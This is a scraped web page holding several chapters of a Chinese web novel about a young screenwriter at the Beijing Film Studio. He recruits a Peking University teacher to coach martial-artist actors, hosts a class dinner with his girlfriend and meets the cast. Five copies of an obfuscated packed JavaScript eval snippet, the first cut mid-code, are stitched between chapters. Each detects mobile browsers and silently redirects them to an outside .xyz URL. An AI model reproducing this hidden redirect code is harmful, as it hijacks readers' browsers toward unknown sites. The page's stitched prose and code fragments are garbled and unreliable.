d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402316|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>总之都没空,没办法来剧组帮忙,深感抱歉。” 说着,王彬意味深长看了眼高远。 高远心里跟明镜似的,他冷笑一声,道:“这么巧么?我这边一建组,他们就都有工作了,都脱不开身。王主任您也别用这种眼神看我,您不明说我也清楚,这是针对我来的。” “小高,你也不能这么说……” “那您让我怎么说?自己人互相拆台,您要说这中间没有故意使绊子的,您觉得我信吗?” 王彬苦笑无语。 他心里太清楚了,倘若说北电、中戏这些老师们是不愿意接这个项目的话,情有可原。 毕竟中国电影历史上,还没有一部武打片可以纵横江湖。 老师们谨慎、不愿意掺和也是能够理解的。 但自己厂里这些教表演的老师们集体拒绝,这态度就耐人寻味了。 要说没人在背后使坏,谁也不相信。 这个使坏的人是谁,王彬也听说了,就是看高远不顺眼的水华导演。 水导跟演员剧团教表演的老师们打过招呼了,哪个敢给《太极》剧组帮忙,今后就别想在我的创作集体里找活干了! 于是,惹不起老导演的几位老师一听王彬相求,全都予以拒绝,一点面子都没给。 虽然王彬没把话说透,但高远看透了事务的本质。 王彬苦笑,劝了一句道:“高儿,有时候真没必要这么强势,这么较真儿。” “这他妈就不是强不强势的事儿!”高远没想到,自己还没表示啥,李文化先怒了。 他脸通红,右手握拳狠狠往左掌心一击,双目赤红,呼哧带喘地继续说道:“**都没有集体荣誉感了!《太极》是咱们厂一家的任务吗? 《太极》牵扯到国家层面的出口创汇! 这些人为了自己的利益置国家的大利而不顾,这他妈跟汉奸**贼有啥两样?!” 高远赶忙安抚他道:“导儿,您消消气,没到这个地步。他们出招了,以为我没办法了,这是逼我出大招啊,您别着急,我来想办法解决此事,保证不会耽误后续的拍摄任务。” 王彬眼睛亮了,忙说道:“高儿,你有啥好办法?说来听听,赶紧的!” 第136章 老师,救命啊 高远嘿嘿一笑,说道:“教表演嘛,不只有北电和中戏的老师能教得了,北大的老师也能教得了。不过让我去求人,人情可就欠大了,一天补助两块钱怕是请不来我那些老师啊。” 王彬立即说道:“我这就去向厂长汇报,咱们这部片子不是批下来一百万么,多了不敢说,拿出个一两万来请老师前来教学问题不大。 你俩稍等我会儿啊。” 他去找汪阳了。 汪阳一听也气愤不已,拍着桌子说:“今后厂里再拍片子,少用中戏和北电的学生!以后每年招新人,也少给他们一些名额!这么点事儿都不肯帮忙,他们也真好意思的!” 王彬苦着脸说道:“老厂长您消消气,为这么点事儿发脾气,气坏了身子可不值当的。” 汪阳愤懑地哼了一声,又道:“还有厂里那些个老同志,都是什么思想觉悟?自家人互相拆台,暗地里使绊儿,他们这是要**啊? 传出去也不怕被人笑死! 还有那个水华,我看他是年纪越大越往后出溜了! 争风吃醋、嫉贤妒能的,有本事你也拍两部精品力作出来啊。 跟一个小年轻的较劲,忒跌份!” “那这事儿您看……”王彬摸出烟来递给他一根。 汪阳接过来点了,抽一口,琢磨琢磨后说道:“这四大创作集体原本是我树立起来的标杆,现如今看来,确实跟不上时代的发展了。 老导演们思维僵化,不懂得向前看,只会躺在功劳簿上睡大觉,他们的存在,严重阻碍了年轻导演的成长。 这样不行啊,长此以往,厂里的中坚力量接不上茬,根就断了。 这件事情我亲自来办,打破创作集体制度,谁有本事谁上位。” 王彬苦笑道:“我说的不是这件事情。” 汪阳看他一眼,自嘲道:“瞧我,也是气迷心了,把正事儿给忘了。 就按高远说的办吧,既然请不来北电、中戏的老师,厂里那帮人也拒绝帮忙,就让高远那小子动用自己的人脉关系,去北大请老师过来给武术家们上课。 至于花多少钱,你们看着办。 我这里只提一条,这部《太极宗师》,你们务必争口气,给我拍好了。” “得嘞,那我这就去跟高远说。”王彬说完,匆忙离开。 他走后,汪阳在椅子上坐了下来,狠狠抽着烟,思考片刻后拿起电话拨打出去,接通后说道:“水华同志,我不点明你也应该知道我找你是因为什么事情,咱俩给彼此留点体面,你主动点,提前办理退休手续吧。” 说完,他啪地将电话挂断了。 那边的水华拿着话柄愣了愣,随即叹息一声,默默将话柄扣在了话机上。 他当然清楚老厂长如此生气的原因是什么。 对于那个这阵子在厂里兴风作浪的年轻人,水华打心眼里看不惯。 自己这个老资格的导演,在创作集体里就是天,自己发话,谁敢提出不同意见? 你一来,好嘛,又是拍喜剧片,又是拍武打片的,颠覆了厂里以拍无产阶级**剧目为主的老传统就不说了,这里挖一锄头,那里来一铁锨,挖墙脚都挖到老子头上来了。 招呼都不打一个,就把老子精心培养多年的王好为给挖走了。 老子不过是在背后给你制造了点小麻烦,**就告到厂长那里去了。 厂长一怒,竟然逼老子提前办理退休手续。 这**! 水华心里很恼火,却也知道事情无法挽回了。 老厂长在厂里有着绝对的威望,没人敢跟他拧着来。 再有就是,听说那小子的大伯是文化部高部长。 这让水华很忌惮。 同时他也对自己的所作所为心生悔意了。 不该故意给那小子添堵啊,搞得现在自己成了那只被吓唬猴子的鸡。 事情已成为定局,后悔也晚了。 水华收拾收拾心情,叹声气,不服老不行喽,给年轻人让位吧。 话题的中心人物高远却没预料到老厂长一怒,直接把水导给办了。 他从王彬嘴里得知,老厂长同意了自己的方案后,立即动身再次回学校。 这次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15407387|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他回去,是拉着李文化一起的,主打一个突出导演的权威性,和对老师们的敬重。 他在路上就开始琢磨,请哪位老师过来给那帮武林人士上课合适? 组缃先生他肯定是请不动的,就算能请动,也有些杀鸡用牛刀的感觉。 乐黛云先生也不合适,大炮打蚊子了。 思来想去,他把第一目标放在了自己亲爱的班主任老赵身上。 “导儿,您说,给多少钱合适啊?”高远问道。 李文化犯懒,没骑车,骑在后座上,笑着说:“王主任不是说了么,让你自个儿拿主意。” “我花一万他真给?” “你快得了吧,你花一万,老师们也得敢要啊。” “倒也是,我的老师们普遍清高,羞于谈钱……算了,到时候见面谈吧。” 他风驰电掣来到校园,直接去了教师办公楼。 见办公室的门敞开着,高远和李文化走了进去。 “哟,高老师么这不是,您不在剧组里待着,今儿咋得空回来视察工作了?”赵建福一见他的面就开起了玩笑。 其他几位老师也乐不可支。 高远忙冲赵建福拱手抱拳,道:“赵老师,您积点嘴德,给学生留条活路吧。我这不是有求于您,专程登门请您救命来了么。对了,我给您介绍一下,这位就是我那部剧的导演李文化同志。 导儿,这是我班主任赵建福老师。” 赵建福一听说这位是导演,这才起身笑着跟李文化握手,道:“李导你好。” 李文化赶忙走上前,握着赵建福的手晃了晃,也满脸笑容,道:“赵老师您好,我和小高过来给您添麻烦了。” 赵建福不明所以,先请李文化在待客沙发上坐了,然后问道:“不是,我没听明白你二位这意思,又是请我救命,又是给我添麻烦的。 高远你小子到底出什么事了?” 高远把事情简单说了说,“说白了就是找不到培训老师,那些个家伙们又不是专业演员,不培训根本满足不了拍摄需要,请您过去给他们上上表演课。” 第137章 滚滚滚 赵建福咧着嘴说道:“你这都什么馊主意啊,让我一个讲文学发展史的去教表演课程,这主意也就你小子能想得出来。” 高远嘿嘿笑道:“我也这是没办法了,北电、中戏那些专业老师咱也请不动不是?再说了,谁规定说教文学的就教不了表演啊,您一定没问题的。” “你少来!不是存心不给你小子帮忙,是你这忙我真帮不了。” 见高远确实为难了,赵建福叹声气,说道:“这样吧,我给你出一主意,你去找一趟王瑶老师,王老师之前在北电进修过与表演相关的课程。 你能说动她,把她请出山,就算解了你小子的燃眉之急了。” 高远笑了,忙起身道:“感谢老师支招啊,我这就去找王老师。” 两人向赵建福告辞。 一个同事笑着对赵建福说道:“你这个学生不得了,不出几年你看吧,他会在影视圈里打出自己的名气来的。” “不然你以为系里为什么会这么纵容他,他想来就来想走就走,自建校开始,哪个学生也没有他这个优待啊。 知道吗?这小子弄得这部《太极》,号称要给国家挣外汇。” 赵建福指指天,笑着说:“这事儿连廖公都给惊动了。” 同事嚯了一嗓子,道:“这可是了不得的事情,老赵你好福气啊,我要是摊上这么个学生,我能把他捧到天上去。” 赵建福笑得那叫一个倍儿爽。 王瑶此刻却笑不出来了。 高远为了把她请出山,那叫一个软磨硬泡。 “一天补助五块钱行不?王老,现如今真没这个行市啊,您这属于是蝎子拉屎独一份儿。” “喊谁王老呢?不去!任你说破大天我也不去!” “您真咬**不跟学生走,那就别怪学生明目张胆地抢人了!” “你试试的!” 高远走上前,伸手就要去架王老师的胳膊。 王瑶急忙喊停了他,无奈地叹声气,点着他的脑门儿气呼呼道:“服了,服了行么?我怎么摊上你这么个没脸没皮的学生啊?我去,我去还不成么? 不过先说好啊,我只能利用业余时间每天下午四点钟以后过去,每节课上一个小时。 你小子想让我耽误正常工作,门儿都没有!” 高远这才咧着嘴笑了,“没问题。” 李文化也赶忙说道:“如此,就多谢王教授对我们这部影片的支持了,您放心,不用您每天蹬着自行车过去,我们车接车送。” 王瑶看他一眼,道:“拢共也没几步路,我溜达溜达就成。还有啊,别跟我谈钱,我看高远的面子义务帮忙,你们要是跟我提钱的话,我就不去了。” 李文化搓着手,说道:“这个,多不好意思啊。” “没什么不好意思的,小远子有出息,我们这些当老师的看着心里也高兴。” 王瑶打量着高远,没好气儿地说道:“浑蛋玩意儿,你就给我找事儿吧。” 高远腆着脸说道:“我回头请您吃饭还不成。” 王瑶气笑了,“从明天下午开始是吧?” 高远点头说是。 王瑶又说道:“你小子不是也会讲戏吗?讲得还有模有样的,你不打算给他们上两节课?” 高远这时候装纯了,他腼腆一笑道:“我这点水平糊弄糊弄陈佩斯几个还成,给一帮子一点表演基础都没有的武林人士当老师就露怯了。” “你也不要妄自菲薄,我亲眼看过你给陈佩斯讲戏,你那套理论还是蛮实用的。依我说,既然你小子有自己一套想法,就要大胆地表达出来。” 王瑶是真为高远考虑。 高远咬着嘴唇思考片刻后说道:“既然您都这么说了,那我也备备课,给他们上两节。” 王瑶从抽屉里拿出一本《表演基础学》来递给高远,说:“好好看看。” 高远接过来道声谢。 王瑶又对李文化说道:“李导,你也不能闲着,高远是这部戏的编剧,你是这部戏的导演,你对这部戏肯定有自己独到的见解,该讲也要给演员们讲出来。” 李文化本就有这层意思,闻言他点头道:“不瞒您说,我是提前做了些工作的,我打算明天上午先给大家讲讲在电影拍摄的过程中如何走位,什么叫打光,怎样面对镜头,整个拍摄的流程是怎样的等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15407388|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等内容。” 王瑶点点头,说道:“既然要做,咱们就得严肃对待,毕竟面对的是一群没一点表演经验的非职业演员们,如果不把内容讲细讲透,我担心你这部戏一旦正式开拍,面临的麻烦事儿就太多了。 这样,咱们三个分分工。 李导你就负责给大家讲刚才你说过的那部分内容。” 李文化说好,他也紧张,这毕竟是他第一次主导拍摄一部电影,一旦搞砸就丢人了。 王瑶把目光转向高远,继续道:“我负责让他们在最短的时间内掌握最基础的表演技巧,远子你给我打下手。” 高远一脸乖巧,点头道:“成,必须配合好您完成教学任务。” “那就这么说定了,明天下午四点钟我准时到北影厂。” “我准点儿在门口接您。” “滚滚滚!看见你就烦!” “那我滚了?” “滚吧。” 高远拉着李文化滚了。 王瑶噗嗤一声笑了起来,嘀咕道:“这孩子,怎么就那么让人讨厌不起来呢?” 让人讨厌不起来的那孩子把自行车交给李文化,让他自个儿蹬回去。 他跑到了图书馆,见大姐姐正趴在桌子上画画,手边还摆着几本书。 小查和小王坐在对面也认真地看书学习。 他轻轻走过去,看了一眼,服气了,温柔大姐姐这优美的画工,这流畅的线条,给他造成了巨大的视觉冲击。 仅仅是一件江湖侠女的短打扮小褂,在李老师笔下竟也生动起来。 他刚咂了一声,李健群抬起了头。 “呀,你什么时候来的?不是说有演员来报到了吗?”大姐姐满眼都是化不开的笑意。 “我来快一个小时了,刚跟两位老师见过面,出了点小状况,我回学校求援来了。” 高远简单介绍了一下剧组面临的情况。 小查很聪明的,她一琢磨便回过味儿来,“这是有人在背地里给你使绊儿啊。” 李健群也点点头,道:“我猜是水导。外面的老师请不到固然有这样那样的理由,厂里的老师们不肯帮忙,那就是故意为难咱们组了。” 第138章 等同于官宣 高远反倒看得开,他洒然一笑,说道:“小点儿声,这是在图书馆呢,别影响其他同学们学习。 你俩说的这事儿我能不明白么,我也理解。 水导是看我年轻,有才华,又没怎么尊重他,挖了他的人却连个招呼都没打,所以对我羡慕嫉妒恨了。 背地里对我有些小动作很正常。 办公室**嘛,历朝历代都无法避免。” 李健群剜他一眼,道:“长此以往可不行啊,助长了他这种不良风气,你不还击,厂里的人一看,还真以为你是个面瓜,想怎么欺负就怎么欺负,威信没了,将来你在厂里如何自处?” 这是温柔大姐姐第一次彻彻底底站在高远的立场上考虑问题。 高远特想搂着她的细腰,在她脸上狠狠亲一口,但生生忍住了,他嘿嘿笑道:“所以啊,我就得让他知道一个道理,地球凭啥围着他转,他是太阳啊? 这不就来学校找我老师求助了么。” 王晓萍问道:“远子,咱哪位老师被你请出山了?” 高远乐道:“你猜。” 王晓萍摸着下巴颏琢磨琢磨,眼睛呼地一亮,道:“王瑶老师!” 高远冲她一挑大拇哥,由衷称赞道:“萍萍厉害,这都能被你猜出来。” 王晓萍骄傲地昂着头,道:“有一说一,其实不难猜的。你别看教咱们历史文学、现代文学的老师教授们平日上课说得头头是道,其实没几个人有教授表演课的水平,对专业要求性太高了。 王大妈不一样啊,人家是正儿八经在北电进修过相关专业课程的,现在还担任着北电表演系的特聘教授呢。 高老师,这是赵老师给你出的主意吧?” 高远点头说是。 王晓萍乐道:“你这草台班子能不能成型,全看王大妈如何教学了,你可得溜须着点儿咱王妈。” “你们现在都这么称呼王老了吗?” “你都多长时间不露面了,咱班的情况你自然不了解了,王瑶叫王妈,乐黛云叫乐奶奶,赵建福我们直接喊哥。 哦,对了,我和楂楂被学校选定为三陪生了,陪留学生居住,下次你再回来找我们,就得去勺园了。” 勺园就是留学生公寓。 高远惊讶道:“我对你俩这种为了世界人民大团结万岁而牺牲自我的崇高精神感到由衷敬佩!” 小查丢过来一块橡皮,道:“呸!瞎扯什么?我俩是分别陪女留学生住,又不是陪男留学生住,你再胡说八道,群姐在这儿老娘也撕烂你这张破嘴!” 李健群也凑趣道:“撕!狠狠地撕!我一点意见都没有,他敢反抗,我帮你俩摁住他!” “你要不要这么狠啊?”高远悲痛欲绝。 这时候,图书管理员大步走过来,面容严肃道:“几位同学请注意,图书馆禁止喧哗,不管你们是争论还是吵架,到外面去,不要打扰其他同学的正常学习。” 四个人立刻闭嘴,噤若寒蝉,低声道歉。 待管理员走后,高远小声问道:“你资料查得差不多了?” 李健群点头说:“你们学校图书馆的藏书数量真是让我大开眼界了,我甚至能在这里找到全本的《山海经》! 高老师,我想把这几本书带回去认真阅读一下成不? 这些描写明清服饰特点的书籍对我太有启发了。” 高远其实很少来图书馆,他看着小查和小王。 査建英说道:“没问题啊,用我的借书卡就成,借阅多长时间待会儿在表上填个日期,到时候记得还回来就可以了。” 高远笑笑,“仗义!” 小查一挑眉,“一顿长征饭堂。” 高远也爽快,“现在就走着。” 王晓萍立马说道:“我去通知老陈他们几个。” 高远今天出大血了。 一听说他请客,不仅302全寝室出动,有几个臭不要脸的,比如说颜乾虎、黄蓓佳、吴北玲等人都不请自到。 大家伙儿压根儿不知道“客气”俩字为何物,啥菜贵点啥。 梁左问服务员:“有茅台没?先上一箱!” 高远瞥瞥他,说:“我记着你不是喝不惯酱香么。” “特殊情况特殊对待,今儿不是高兴么。丫有日子没来学校了,你不露面,我都快忘记班里还有你这么个人了。 况且丫还明目张胆带了这么个初看一般人儿,越看越漂亮的女朋友过来。 丫让我们这些单身男女青年情何以堪呐! 我是喝不惯酱香,但是为了狠狠宰你一顿,哥们儿拼了,我捏着鼻子也得往肚子里灌!” 梁左满口歪理邪说。 但他有一点说得没错,李健群从来都不是那种第一眼美女。 没有沉鱼落雁,更谈不上闭月羞花。 你说她是大家闺秀吧,气质上特别像。 你说她是小家碧玉吧,她低着头羞涩一笑,是个男人就遭不住。 嘴角一下沉,双眼一朦胧,哎呀…… 我见犹怜! 只能说,她是两者的结合,初看不觉惊艳,越品越有味道。 高远握住她的手,对梁左这番话深以为然,冲他笑笑,真诚地说道:“梁委员,就冲你今天这番掏心掏肺的话,别说喝茅台,你就是喝茅厕我今儿也得让饭店给你抬过来!” 别说梁左了,旁边的服务员都快吐了。 “你们有没有点正事儿啊?消遣人玩呢?要点快点,不点还有其他桌的客人们等着呢!” 大家哈哈大笑。 梁左板着脸,牛逼哄哄道:“咋?看不起我们这帮穷学生啊?我告儿你,你眼前这位可不是一般人儿,《瞧这一家子》看过吧?他写的! 不差钱儿! 我刚说什么来着? 茅台来一箱,你愣着干嘛?赶紧搬酒去啊!每个眼力见儿的!” 服务员瞪着眼,一点都不惯着他,说道:“上班的,没空看电影!也没茅台,只有二锅头,愿喝喝,不愿喝滚!” 梁左屈服了,耷拉着脑袋说道:“好吧,先来四瓶二锅头。” 服务员哼了一声,转身走了。 高远看了眼梁左,心说,你已经初步具备了成为一名优秀喜剧编剧的潜质。 这个家伙,他是必须要拿下的,并且立下宏愿,一定要挽救他的生命。 实话说,班里这帮人,高远真正能看得上的,也就那么几个。 首先是陈建功。 这老大哥对自己掏心掏肺。 其次是葛兆光。 老葛这人别的不说,就俩字儿:局气! 第一个学期生活那么困难,全靠大家资助才能吃顿饱饭,结果人家的贫困生补助下来后,依然省吃俭用,不到一年就还清了欠同学们的人情债。 最重要的是,高远之所以能每次期末考试都及格,全靠老葛的笔记和无私的帮助。 但凡有不懂的知识点,问老葛一准儿没问题。 他讲得那个细致就甭提了,掰开了揉碎了给高远一遍遍不厌其烦的讲解,跟唐僧念咒似的,直到他彻底弄明白为止。 剩下几个货就不分谁了,但凡今天能坐在一张酒桌上的,都是高远要拉拢、结交的对象。 你们觉得高远有点儿现实主义对吧? 但是我跟你们说,人在这个社会上生存,千万不要相信于丹那一套理论。 一篇《论语》都能被她套 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15412113|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上华丽的外衣和绚烂的辞藻,用高大上的,PUA的,让人们用自省的方式去理解与反思自我的思想境界有多么狭隘,多么自私,继而启发大家不以物喜不以己悲的说辞…… 那她妈不是国学大师,是她妈唯利是图、用以圈钱的卑劣行径。 人都是有底线的。 尤其高远,他很简单,跟我混,我让你们挣到钱,提高生活质量就完了。 高远带着李健群参加这个同学聚会,等同于官宣。 小查端着装满北冰洋汽水的杯子再次感叹道:“唉……下手晚了啊。” 小王凑趣道:“早知道高老师这么优秀,高低我得跟你竞争一下子。” 黄蓓佳翻个白眼儿,道:“当着健群老师的面儿,你俩没完了是吧? 后悔,想哭,回寝室蒙着被子暗自垂泪去,大家都挺高兴的,你俩感慨啥呢? 真当自己是林黛玉呢?” 李健群看出来了,自家男朋友在他这帮同学们当中属于带头大哥的性质。 虽说他年龄最小,但架不住威望高啊。 大家都很服他的样子。 温柔大姐姐也为自家男朋友的号召力感到五体投地。 群姐把杯子端了起来,决定给男朋友撑面子,道:“建英、晓萍、蓓佳我都很熟悉了,你们三个都去过北影厂,咱们有过比较深入的交流。 另外就是梁同学和苏同学,我们虽然交谈不多,却也算熟识。 高老师也曾无数次跟我提起过你们。 他说,自己有幸被录取到北大中文系文学77班,能够跟各位成为同窗好友,这是他一辈子的荣幸。 有些话我不好多说,但我特别能理解他的心情。 今天,既然高老师把我带到大家面前来了,我想,这意味着高老师对我的一种认可。 也是高老师对我认可的一种具体的表现形式。 我话不多说,作为高老师的女朋友,我借高老师这杯酒敬大家一杯,唯愿大家学业进步、前程似锦。 也愿你们的友谊地久天长。 希望今后大家今后对高老师继续关照有加。 我替高老师谢谢大家了,我先干为敬。” 话音落,她一仰脖,将满满一杯北冰洋灌进肚子里。 这番话说的,得体、熨帖、让人心里舒服。 表达了她对同学们支持高远无法在长时间在学校里读书,以工作为重的感激之情的同时,作为高远的女朋友,也宣誓了自己对高远的**。 大家不由得暗暗在心里感慨道:李健群是个外圆内方的人呐,她看得比谁都通透。 在小查和小王说出那番似表白又不似表白的话时仍旧能够坦然面对、应对自如,这个女子太不一般了。 明媚! 大气! 大家都很给面子,均喝干了杯中的酒或汽水。 与此同时纷纷表示:您客气了,今后照顾高老师的任务,就交给您了。 高远对女朋友的表现深感满意。 爱情这个玩意儿,说穿了不就是你看上了我,我也看上了你,咱俩王八看绿豆——互相看对眼了么。 吃醋也好,有点小情绪也罢,都是很正常的事情。 不爱的人才只有**做之事呢,平时都是分房睡。 这货把手探下去,轻轻抚摸着群姐的大腿,感受着那十足的弹性,轻声道:“差不多咱俩回吧,下午还有好些事儿呢。” 李健群被他摸的有点痒,没忍住打了他手背一下,红着脸说道:“少放肆啊,别以为我今天说了一大堆你就可以对我无礼了。回也可以,总得让大家吃饱吧。” 高远闻言一招手,大声道:“上饺砸!” 第139章 竖威信 高远没敢喝太多酒,怕喝多了耽误事儿。 他和李健群回到北太平庄厂里时,好巧不巧的碰到了黄健中这个老流氓。 黄健中看着他,下意识的哆嗦了一下,露出个牵强的笑容来。 他刚才听说,老导演水华主动向厂里提出退休,汪厂长连句挽留的话都没说就批准了。 到底是什么原因造成的,大家皆心知肚明。 眼前这个年轻人惹不起啊,后台硬,还有老厂长护着,今后躲他远点儿吧。 黄健中匆匆走了。 “他眼神儿怪怪的,发生什么事情了吗?”李健群说道。 “我怎么知道啊,管他呢,走,我领你去见见演员们。” 高远在厂里可不敢太放肆了,别说牵姐姐的手,一路同行肩距都得保持在30公分左右。 两人进了招待所,上到四楼,见几个房门都开着。 高远走进一间屋子,刚好听到这么一句:“你就是我最后要干掉的那个大反派啊,嘿,长得还挺邪性。” 高远惊讶地张大了嘴巴,连于承惠这种老前辈你都敢挑衅,李连杰你这是作死的节奏啊。 于承惠也不生气,笑呵呵看着他,说道:“你小子长得倒是俊秀,跟大姑娘似的,听说还是全国武术冠军,就是不知道有没有真本事。” “有没有真本事你试试不就知道了,呔!看拳!” 话音落下,他玩了一招出其不意攻其不备,一个直拳打出去,跟一东等于两分钟似的,又快又急。 然后,不出意外被于承惠擒住了手腕子,咔地一拧。 李连杰:“哎哟,前辈松手,您松手啊,领教了领教了,我打不过您还不成么,服气了服气了,手腕子快折了。” 引得屋里的众人放出足以掀翻屋顶的爽朗大笑声。 于承惠也松开了手,笑呵呵说道:“拳怕少壮,你小子是个好苗子,你这突如其来的一拳但凡我大意一点也就接不住了。 但你还得练啊,你这套翻子拳讲究个疾如电快如风,行云流水,一气呵成,打出来**跟放鞭炮似的,你还欠点儿火候,继续加油吧小伙子。” 李连杰冲于承惠一抱拳,真诚道:“感谢您老的教诲,我记住了。” 于承惠满意地点点头,一扭头儿,见高远正笑嘻嘻看着自己,他站起身,笑道:“小高来了,哟,你这是没少喝啊。” 他鼻子特灵,跟警犬似的。 高远走过来跟他握了握手,笑着说:“上午去学校一趟,中午跟同学们聚了聚,您啥时候到的?” “二锅头!还是56°的。”于承惠又一吸鼻子,先嘀咕了一句后这才回答高远的问话:“我都到俩钟头了,来了一看,嘿,全是熟人,这就不跟大家伙儿聊上了么。” 国内武术圈子自成体系,讲究个师父带徒弟,一辈传一辈。 但又因为运动会之前国家经常举办各类大赛,这帮人互相之间交过手,徒弟和徒弟间也交过手,彼此认识太正常不过了。 发展体育运动,增强人民体质嘛。 还有个口号叫:发展体育,振兴中华。 每年春天,小学生开运动会,高举塑料花束,佩戴鲜艳红领巾的少先队员们迈着整齐的步伐,翻来覆去喊的就是这两句。 “既然都是熟人,那我就不一一给您做介绍了。”高远笑着说。 李连杰这货两眼放光看着李健群,问道:“这位大姐姐是?” 于海也看着李健群,笑着说:“姑娘好漂亮啊。” 李健群温婉一笑,没搭理色迷心窍的李连杰,走上前,拉着于海的手说道:“我没猜错的话,想必您就是我爹爹了。” 咝! 入戏这么快吗? 高远感觉特不可思议。 于海也一愣,随即开怀大笑,“你是少琪!” 李健群微微点头,慢慢俯身,道:“女儿给爹爹请安了。” 于海浑身那叫一个通透,“哎呀,好孩子好孩子,咱现在不兴讲这些老礼儿了,但是平白得一大闺女,我今天心里痛快!你这一礼爹受了!” “还请您多加关照。” “没说的,今后在剧组里谁敢欺负、刁难我姑娘,先问问我这对拳头答不答应!” 众人又笑了起来。 李连杰凑过来,咔咔眨着眼睛,对李健群说道:“你是我媳妇儿。” 李健群看着他,“嘁!小屁孩儿一个!” 高远走到他跟前,伸手推开他的脑袋,厉声暴喝:“滚蛋!” 李连杰立马撸胳膊卷袖子,瞪着俩大眼珠子冲高远说道:“跟我动手,找练呢是吧?不服气?来来来,咱俩别在屋里打,下楼盘盘道!” 熊欣欣和**魁立马走过来,横在两人中间,目光犀利瞪着小李子,大有一言不合就开练的架势。 一看场面僵持不下了,于承惠打圆场道:“好了好了,大家是一个集体,应该团结合作,这电影还没开拍呢就先起内部矛盾了,你们也不怕传出去被外人笑话! 都给我安分一点,散了散了!” 老前辈毕竟是老前辈,真有威望。 他一发话,熊欣欣和**魁立马耷拉着脑袋撤退了。 李连杰嗤了一声,还七个不服八个不忿的。 高远也觉得自个儿刚才有点冲动了,尴尬一笑,道:“我正式给大家介绍一下吧,这位是陈少琪的扮演者李健群同志,健群同志是我们北影厂演员剧团的成员。 看过《瞧这一家子》的应该对她不陌生。” 杜玉明笑着说:“小红嘛,我们都熟。” 高远也乐,“没错儿,就是小红。健群同志除了在我们这部《太极》里饰演陈少琪一角之外,还会担任这部戏的服装设计师。” 于海夸张地哇了一声,道:“我姑娘这么有才华的吗?” 李健群微笑道:“您过奖了,才华不敢当,我专业就是学绘画的,在服装设计方面顶多算是有点心得。 也请爹爹放心,您在剧中的服装,女儿一定会给您设计得妥妥当当的。 突出您作为陈氏太极宗师的气度来。” 于海哈哈大笑,心里熨帖极了。 于承惠不干了,“健群姑娘,我是端王爷,王爷比宗师权力可大多了,就没气度了?你可不能厚此薄彼啊。” 李健群乐了,道:“于老师,我还是有职业精神的。今天高老师带着我过来跟大家见个面,就是为了让我根据大家的角色、形象、气质设计出合适的戏服来。” 她这么一说,大家呼啦一下子围了上来,七嘴八舌问道:“李老师,您看我适合穿什么衣服吗?” “我呢我呢?” “还有我,麻烦您帮忙设计得威猛一些。” 李健群看着这一屋子的妖魔鬼怪,心说我这是掉进土匪窝子里来了吗? 真就像高老师说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15412114|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那样,不法商贩、地痞流氓、小偷小摸全集中到这个剧组中来了。 “大家别着急,待会儿我先去拿皮尺,挨个给大家丈量尺寸,然后才会根据剧本中对人物形象的刻画给大家设计合适的服装。”李健群轻柔地说道。 同志们一下安静下来。 温柔大姐姐谁都喜欢。 高远拍拍手,吸引了大家的目光后笑道:“我说两件事情,头一件,咱们这部剧的主角、配角们差不多到齐了,今天先做些准备工作。 首先一件事,剃头。 厂里澡堂子那边有理发室,大家伙儿可以去那边把头剃了。 嫌费劲的也没关系,待会儿我让造型师过来给大家剃头。” 胡坚强问道:“必须剃吗?” 高远冲他一点头,道:“必须剃,这是清朝戏,你要是顶一脑门子花卷拍可就闹笑话了。” 胡坚强咧嘴一笑,道:“那就剃,咱们这也算是为艺术献身了。” 